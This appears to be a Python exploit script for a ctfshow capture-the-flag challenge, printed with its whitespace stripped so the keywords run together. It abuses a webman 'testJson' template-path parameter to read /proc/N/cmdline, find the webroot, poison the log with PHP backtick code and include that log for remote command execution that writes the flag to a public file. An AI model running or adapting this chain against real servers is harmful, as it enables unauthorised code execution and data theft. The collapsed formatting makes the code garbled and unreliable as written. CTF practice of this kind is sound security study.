importrequestsimporttimefromdatetimeimportdatetime# 注意 这里题目地址 应该https换成httpurl="http://72d92051-cb33-4488-b72c-d20ec4221839.challenge.ctf.show/"# Author: ctfshow h1xadefget_webroot():print("[+] Getting webroot...")webroot=""foriinrange(1,300):r=requests.get(url=url+'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}'.format(i))time.sleep(0.2)if"start.php"inr.text:print(f"[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline")webroot=r.text.split("start_file=")[1][:-10]# print(r.text)print(f"Found webroot: {webroot}")breakreturnwebrootdefsend_shell(webroot):# payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`ls%20/>{}/public/ls.txt`;?>"}}'.format(webroot)payload='index/testJson?data={{"name":"guest","__template_path__":"<?php%20`cat%20/s00*>{}/public/flag.txt`;?>"}}'.format(webroot)r=requests.get(url=url+payload)time.sleep(1)ifr.status_code==500:print("[\033[31m*\033[0m] Shell sent successfully")else:print("Failed to send shell")definclude_shell(webroot):now=datetime.now()payload='index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-{}-{}-{}.log"}}'.format(webroot,now.strftime("%Y"),now.strftime("%m"),now.strftime("%d"))r=requests.get(url=url+payload)time.sleep(5)r=requests.get(url=url+'flag.txt')if"ctfshow"inr.text:print("=================FLAG==================\n")print("\033[32m"+r.text+"\033[0m")print("=================FLAG==================\n")print("[\033[31m*\033[0m] Shell included successfully")else:print("Failed to include shell")defexploit():webroot=get_webroot()send_shell(webroot)include_shell(webroot)if__name__=='__main__':exploit()